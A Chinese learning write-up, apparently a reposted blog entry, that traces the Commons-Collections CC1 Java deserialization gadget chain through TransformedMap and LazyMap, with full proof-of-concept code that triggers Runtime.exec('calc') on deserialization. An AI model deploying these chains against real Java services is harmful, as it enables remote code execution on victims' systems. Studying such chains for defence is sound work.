CC1链学习记录

🌸 前言

上篇文章学习记录了URLDNS链,接下来学习一下Common-Colections利用链。

🌸 相关介绍

Common-Colections是Apache软件基金会的项目,对Java标准的Collections API提供了很好的补充,在其基础上对常用的数据结构进行了封装、抽象和补充,目的在于提供可重用的、用来解决常见需求的代码及数据结构。

CC1的测试环境需要在Java 8u71之前,在此之后AnnotationInvocationHandler的readObject不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。

🌸 环境配置

JDK8u65:Java Archive Downloads - Java SE 8

下载sun的源码:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/41ab7149fea2

(这里的JDK我直接下载了exe可执行文件,然后运行 拿到的jdk文件)

之后将下载的sun源码中的文件(/src/share/classes/sun),复制到jdk文件中的src目录下:

之后配置IDEA File->Project Structure->SDKs->Sourcepath 加入src文件夹

Maven加载的jar包,可以直接点击download source进行下载:

🌸 相关接口和类
🍂 Transformer
public interface Transformer {/*** Transforms the input object (leaving it unchanged) into some output object.** @param input  the object to be transformed, should be left unchanged* @return a transformed object* @throws ClassCastException (runtime) if the input is the wrong class* @throws IllegalArgumentException (runtime) if the input is invalid* @throws FunctorException (runtime) if the transform cannot be completed*/public Object transform(Object input);}

Transformer是一个接口,他有一个待实现方法为transform(Object input),去寻找这个方法的实现类:

发现在InvokerTransformer类中重写了这个方法transform,这个类中的方法接受一个参数Oject input,之后判断了这个input是不是为空!如果不为空的话,就通过反射执行方法名和方法的参数!

🍂 InvokerTransformer

InvokerTransformer实现了Transformer, Serializable接口,这个类就可以实现执行任意方法,它存在一个方法transform方法:

public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}
}

该方法可以实现任意方法执行,当然这也是CC1的关键点所在!实例化这个类可以看到有参数的构造器,需要传进去三个参数:分别是方法名、参数类型和参数。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;
}

那走到这里的话,大概就可以使用InvokerTransformer类来执行危险的操作了!

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {Runtime runtime = Runtime.getRuntime();//String methodName, Class[] paramTypes, Object[] argsInvokerTransformer invokerTransformer = new InvokerTransformer(new String("exec"),new Class[]{String.class},new Object[]{"calc"});invokerTransformer.transform(runtime);}
}

因此我们当前的利用链就是:

InvokerTransformer类(transform)可以实现命令执行!

继续向前找,看看谁调用了transform方法,参数类型最好是Object类型。

最后找到了集合map中存在一个TransformedMap类,里面存在checkSetValue方法,调用了transform方法!接受的参数还是Object类型!

到这里就可以继续完善我们的利用链了:

TransformedMap.checkSetValue()->InvokerTransformer.transform()

🍂 TransformedMap
protected Object checkSetValue(Object value) {return valueTransformer.transform(value);
}

代码中发现checkSetValue方法是protected修饰的!因此就需要通过反射来调用了。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;
}

同样构造器也是protected修饰的,因此还是可以通过反射来获取所有的构造器,当然在TransformedMap类中存在一个静态方法decorate方法。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}

这个方法中实例化了TransformedMap方法!接受了三个参数,分别是Map、两个Transformer,回去看checkSetValue方法的时候,发现valueTransformer才是对我们有用的!继续修改命令执行的代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {Runtime runtime = Runtime.getRuntime();//因为decorate静态方法是需要传递map,所以创建一个hashmapHashMap hashMap = new HashMap();//decorate静态方法还需传递两个Transformer//其中valueTransformer是我们需要用到的InvokerTransformer的实例化对象InvokerTransformer keyTransformer = new InvokerTransformer(null,null,null);InvokerTransformer valueTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//传递三个参数TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, keyTransformer, valueTransformer);//checkSetValue方法只能是反射来调用Class<?> aClass = Class.forName("org.apache.commons.collections.map.TransformedMap");//获取checkSetValue方法Method checkSetValue = aClass.getDeclaredMethod("checkSetValue", Object.class);//设置可访问属性为true!checkSetValue.setAccessible(true);//传递参数调用,最终实现弹出计算器的操作checkSetValue.invoke(transformedMap,runtime);}
}

接下来根据现在的利用链继续往前找:(看看谁调用了checkSetValue方法)于是只找到了一处调用:

public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);
}

这里就需要看一下parent是不是可控的

static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}

整体看了一下代码,发现setValue方法是AbstractInputCheckedMapDecorator类中的内部静态类里面的MapEntry类中的内部方法。这里就需要去了解如何能到执行到setValue

此处了解到TransformedMap类继承了AbstractInputCheckedMapDecorator类。

继续完善代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {Runtime runtime = Runtime.getRuntime();HashMap<String,Object> map = new HashMap<>();map.put("Y4y17","a");
//        InvokerTransformer keyTransformer = new InvokerTransformer(null,null,null);InvokerTransformer valueTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});Map<String,Object> transformedMap =TransformedMap.decorate(map, null, valueTransformer);for (Map.Entry entry:transformedMap.entrySet()){entry.setValue(runtime);}}
}

继续完善当前的利用链:

AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()

继续找有没有地方调用了setValue方法!于是就找到了AnnotationInvocationHandler类中的readObject方法里面刚好就调用了!

但是这个类是默认的属性:

因此也是需要进行反射获取类原型和构造器的!但是这里需要注意的是,我们的Runtime是无法序列化的!

package org.y4y17;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {//因为Runtime是不可以序列化的,所以这里就尝试进行通过反射来绕过Class<Runtime> runtimeClass = Runtime.class;Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime");Runtime runTime = (Runtime) getRuntime.invoke(null, null);Method exec = runtimeClass.getDeclaredMethod("exec", String.class);exec.invoke(runTime, "calc");//改为InvokerTransformer类调用Method getRuntime1 = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime1);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);}
}

在反射RunTime类的基础上将上面的代码修改为InvokerTransformer类的利用方式:

package org.y4y17;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {Method getRuntime1 = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime1);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);}
}

这样的话就可以通过InvokerTransformer类来实现弹计算器的操作了!其实可以看到上面是一个递归调用的形式,于是出现了下面的一个类:ChainedTransformer

🍂 ChainedTransformer

该类也是实现了Transformer和Serializable接口的一个类,她的作用就是将内部的多个Transformer连接在一起。

其构造函数传入了一个Transformer数组;然而transform方法就是遍历这个数组,取出数组里面的Transformer对象并调用transform方法,返回的对象又作为下一个Transformertransform方法中的参数被调用。相当于是调用的结果被作为下一个的输入。(说白了其实就是递归调用!)

所以我们就没必要这么麻烦的写上面的代码了!将上面的代码进行改进,使用ChainedTransformer类中的transform方法实现循环调用!

package org.y4y17;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {//由于ChainedTransformer类中构造器需要传递的参数是Transformer数组,因此创建一个Transformer数组,将上面的三个InvokerTransformer放进去Transformer[] transformers = new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);// 的transform方法}
}
🍂 ConstantTransformer

该类的transform方法返回一个固定的值!

transform方法传入的参数为Object类型的对象,然后方法的功能就是返回一个常量!这个常量是通过构造函数进行赋值的!

🌸 构造链子

寻找一条链子的思路是从后往前找,上面已经提到了我们InvokerTransformer类中存在一个transform方法,这个方法是可以执行任意方法的,那这就是这条链子的终点!我们从这里往前寻找,整个思路就是谁又调用了transform方法,对应的方法又在何处被调用了,最终找到readObject里面调用的方法!

上面提到了InvokerTransformer类中的方法,InvokerTransformer类中的构造方法要求传入三个参数,分别是方法名、参数类型和参数。然后调用transform方法,传入一个对象,利用反射拿到原型类,之后再拿到方法(这里的方法就是我们在构造函数中传入的方法),利用invoke执行代码!

先写一个普通的反射

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {Runtime r = Runtime.getRuntime();Class aClass = r.getClass();Method exec = aClass.getMethod("exec", String.class);exec.invoke(r,"calc");
}

接下来我们就是尝试利用InvokerTransformer来执行transform,从而达到任意方法执行。

 public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {Runtime r = Runtime.getRuntime();//实例化一个InvokerTransformer对象,传入要执行的方法,参数类型和参数InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//调用transform方法,传入对象rinvokerTransformer.transform(r);//之后便会通过反射获取执行方法,进而完成弹计算器的操作
}

之后我们就需要去寻找谁调用了transform:

找到了很多处调用,最终发现在TransformedMap类中checkSetValue调用了transform方法。

protected Object checkSetValue(Object value) {return valueTransformer.transform(value);
}

此时我们需要定位一下valueTransformer是什么,于是看一下构造方法:

构造方法需要传入三个值,分别是Map,和两个Transformer。由于是protected修饰,所以还需要找实例化的地方,于是向上找到decorate:

之后我们还需要去找是谁调用了checkSetValue方法:

发现在AbstractInputCheckedMapDecorator抽象类的内部类MapEntry中的setValue方法调用了checkSetValue

然而如何去调用setValue呢?其实就是在遍历entity(一个entity其实就是一个键值对!)的时候便可以调用setValue。

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("key","value");Map<Object,Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);for (Map.Entry entry:map.entrySet()){entry.setValue(r);}
}

此时通过for循环来遍历entity,就会调用到:AbstractInputCheckedMapDecorator类中的内部类MapEntry里面的方法setValue

其中parent就是TransformedMap类,也就是说调用了TransformedMap类的checkSetValue方法,而valueTransformer的值就是我们传入的InvokerTransformer,继续调用他的transform方法!

之后就是需要找到谁调用了setValue,最好是readObject直接调用!

刚好就是找到了AnnotationInvocationHandler类中的readObject方法调用了setValue!

该类并没有public修饰,省略了修饰符,那就是default修饰,因此我们必须通过反射来获取这个类,同时他的构造器参数是两个:一个是class继承了注解(Override就是一个注解),另一个是Map,这里的Map,我们便可以将我们的TransformedMap传递进去。

我们先来通过反射获取原型类:

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
declaredConstructor.newInstance(Override.class,map);

如上是AnnotationInvocationHandler的readObaject方法,这里在序列化和反序列化之前,有几个问题:

  1. 可以看到readObject中调用setValue的时候,参数是new Anno... 这里到底可控不可控?
  2. 如果可控的话,我们传入的值Runtime的r,Runtime是不可以序列化的,那怎么办?
  3. memberValue.setValue()想要执行,前面还有两个if,需要满足。

首先来解决Runtime序列化的问题,我们知道Runtime.class是可以序列化的!

因此我们再来重新反射进行测试:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Class c = Runtime.class;Method getRuntimeMethod = c.getDeclaredMethod("getRuntime", null);Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);Method execMethod = c.getMethod("exec", String.class);execMethod.invoke(r,"calc");
}

这样我们是正常的通过反射来执行弹计算器的操作!

接下来我们将他修改成InvokerTransformer的形式:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}

看到这个代码,可以看到前一个调用的结果作为了下一个调用的输入,所以根据上面,想到了一个ChainedTransformer类:

他就是存储一个transformers数组,循环调用!因此我们可以创建一个transformers数组来存放上面的代码,就不需要每次都写,直接调用一次transform方法即可:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);
}

其次就是setValue的时候参数到底可控吗?这里就有用到上面的一个类------ConstantTransformer;传入Runtime.class,调用transform方法的时候,返回的值就是传入的值;

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

最后还有两个if来绕过,这里的两个if作用大概就是判断我们传入的注解,是否能够通过key获取到value信息。

我们传入的注解为Target,注解中存在value,因此hashmap中的key就设置为value,这样就可以满足两个if条件了:

最终的POC如下:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("value","aaa");Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true);Object o = declaredConstructor.newInstance(Target.class, map);serialize(o);unserialize("ser.bin");}

大概再来跟一下整个代码的执行流程,断点设置如下:

调用memberVaule(AbstractInputCheckedMapDecorator)的setValue方法:

跟进:

调用了TransformedMap类的checkSetValue方法:继续跟进

调用ChainedTransformer类中的transform方法,进行遍历:

执行calc。

🌸 LazyMap分析

这里其实还有第二种方法!就是通过LazyMap类实现。在LazyMap里面同样是调用了transform方法!

public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}

这里首先通过if条件判断了map里面是不是包含了key,然后通过factory.transform(key)调用。然后我们观察这个factory是不是可控的,观察到LazyMap的构造器如下:

protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");}this.factory = factory;
}

他传递的参数有两个是Map map, Transformer factory,构造器是protected修饰的,所以只能是自己调用。继续看哪里调用了构造器:

public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);
}

然后就发现了LazyMap的静态方法有一个decorate,该方法实例化了LazyMap对象。因此我们这里先继续完善代码:(其实chainedTransformer之后的链子都是不变的)

package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc1 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("res1.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("res1.ser"));objectInputStream.readObject();objectInputStream.close();}
}

这里我们继续找谁调用了LazyMap里面的get方法,这里就比较多了,直接看了cc1作者的链子,其实还是AnnotationInvocationHandler这个类。在该类的invoke方法中调用了:

public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();// Handle Object and Annotation methodsif (member.equals("equals") && paramTypes.length == 1 &&paramTypes[0] == Object.class)return equalsImpl(args[0]);if (paramTypes.length != 0)throw new AssertionError("Too many parameters for an annotation method");switch(member) {case "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessors//就是下面的这行代码调用了get方法!Object result = memberValues.get(member);if (result == null)throw new IncompleteAnnotationException(type, member);if (result instanceof ExceptionProxy)throw ((ExceptionProxy) result).generateException();if (result.getClass().isArray() && Array.getLength(result) != 0)result = cloneArray(result);return result;}

而这个类是动态类加载的处理器类,那么我们需要想办法调用到这个invoke方法,回想在类加载机制学习的时候,当我们利用动态代理调用它里面的任意方法的时候,就会调用到这个invoke方法!

我们逐行的分析代码:

if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)return equalsImpl(args[0]);

如果请求的是equals方法的话,就会调用equalsImpl方法。

if (paramTypes.length != 0)throw new AssertionError("Too many parameters for an annotation method");

如果我们调用的参数不是空的(也就是有参数的方法的话)就会抛出异常了。所以说只能是调用无参的方法!然而在readObject方法中刚好是调用了无参的方法!


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc1 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);//反射创建AnnotationInvocationHandler类对象Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> AnnotationInvocationHandlerConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);InvocationHandler in = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);//创建动态代理Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, in);Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
//        serialization(o);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc1.bin"));objectInputStream.readObject();objectInputStream.close();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/59307.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构PTA

20&#xff1a;C 22&#xff1a;B 27&#xff1a;D 填空 4-2&#xff1a;19 4-4&#xff1a;66 4-5&#xff1a;8 5-x&#xff1a;不加分号 ⬇&#xff1a;top p->next 编程 单链表 每个节点除了存放数据元素外&#xff0c;还要存储指向下一节点的指针…

【学术会议介绍,SPIE 出版】第四届计算机图形学、人工智能与数据处理国际学术会议 (ICCAID 2024,12月13-15日)

第四届计算机图形学、人工智能与数据处理国际学术会议 2024 4th International Conference on Computer Graphics, Artificial Intelligence and Data Processing (ICCAID 2024) 重要信息 大会官网&#xff1a;www.iccaid.net 大会时间&#xff1a;2024年12月13-15日 大会地…

【go从零单排】Command-Line Flags、Command-Line Subcommands命令行和子命令

&#x1f308;Don’t worry , just coding! 内耗与overthinking只会削弱你的精力&#xff0c;虚度你的光阴&#xff0c;每天迈出一小步&#xff0c;回头时发现已经走了很远。 &#x1f4d7;概念 在 Go 语言中&#xff0c;命令行标志&#xff08;Command-Line Flags&#xff09…

WEB攻防-通用漏洞SQL读写注入MYSQLMSSQLPostgraSQL

知识点&#xff1a; 1、SQL注入-MYSQL数据库&#xff1b; 2、SQL注入-MSSQL数据库&#xff1b; 3、SQL注入-PostgreSQL数据库&#xff1b; 首先要找到注入点 详细点&#xff1a; Access无高权限注入点-只能猜解&#xff0c;还是暴力猜解 MYSQL&#xff0c;PostgreSQL&am…

自定义springCloudLoadbalancer简述

概述 目前后端用的基本都是springCloud体系&#xff1b; 平时在dev环境开发时&#xff0c;会把自己的本地服务也注册上去&#xff0c;但是这样的话&#xff0c;在客户端调用时请求可能会打到自己本地&#xff0c;对客户端测试不太友好. 思路大致就是前端在请求头传入指定ip&a…

腾讯云11.11云服务器活动--上云拼团GO

目录 云服务器活动介绍&#xff1a; 轻量服务器 上GO拼团领券 云服务器购买 HAI现金券 学生专享GPU 活动总结 云服务器活动介绍&#xff1a; 双十一临近,这是您一年中最期待的购物狂欢时刻。作为国内领先的云计算服务商,腾讯云诚挚为您呈献前所未有的优惠福利,助您在这…

防脱生发最有效的产品,测评总结早看少踩雷

别人脱单、脱贫你脱发&#xff0c;就问你心酸不心酸&#xff1f;探索防脱之路确实不易&#xff0c;到底怎么才能有效防脱养发呢&#xff0c;很有必要分享一下我多年的防脱心得&#xff0c;这几款一直在用的防脱育发好物&#xff0c;秃头朋友们可以看看~ **露卡菲娅防脱精华液**…

c++:string(一)

文章目录 一string类1C语言中的字符串2C中的string二遍历1[ ]2迭代器3const迭代器4范围for5auto6总结三String的尾插1size和length2max_size,capacity和clear3访问接口4尾插字符和字符串5 append的重载三string的扩容问题&#xff08;1&#xff09;怎么扩容&#xff08;2&#…

【2048】我的创作纪念日

机缘 2048天&#xff0c;不知不觉来csdn博客已经有2048天了&#xff0c;其实用csdn平台很久了&#xff0c;实际上写博客还是从2019年开始。 还记得最初成为创作者初心是什么吗&#xff1f; 最开始&#xff0c;主要是用来做笔记。平时工作中、学习中遇到的技术相关问题都会在cs…

壁仞科技上市前最后一波 校招 社招 内推

随着美国大选结束&#xff0c;国内GPU 产业得到空前的的发展空间&#xff0c;国内芯片相关股票一片飘红。 国内大型 GPU厂商壁仞科技&#xff0c;摩尔线程等正紧锣密鼓地加紧上市。 GPGPU 芯片赛道来到了史无前例的红利点&#xff0c;抓住机会&#x1f4aa; 壁仞科技正在火热…

sql server 自动kill 查询超过20分钟的语句

起源于同事的烂sql 容易拖垮 数据服务器&#xff0c; 周末没有人监控数据库&#xff0c;好几次导致主从数据库同步失败 &#xff0c;不得不自动kill 烂sql 语句如下 &#xff1a; -- 声明变量来存储超过20分钟的查询的会话ID DECLARE kill_sessions TABLE (session_id INT); …

GMS地下水数值模拟、全流程各工程类型地下水环境影响评价、MODFLOW Flex

GMS地下水数值模拟技术及在地下水环评中的应用 以地下水数值模拟软件GMS10.1操作为主要内容&#xff0c;在教学中强调三维地质结构建模、水文地质模型概化、边界条件设定、参数反演和模型校核等关键环节。不仅使学员掌握地下水数值模拟软件GMS10.1的全过程实际操作技术的基本技…

基于Multisim水箱水位控制系统仿真电路(含仿真和报告)

【全套资料.zip】水箱水位控制系统仿真电路Multisim仿真设计数字电子技术 文章目录 功能一、Multisim仿真源文件二、原理文档报告资料下载【Multisim仿真报告讲解视频.zip】 功能 1.在水箱内的不同高度安装3根金属棒&#xff0c;以感知水位变化情况&#xff0c; 液位分1&…

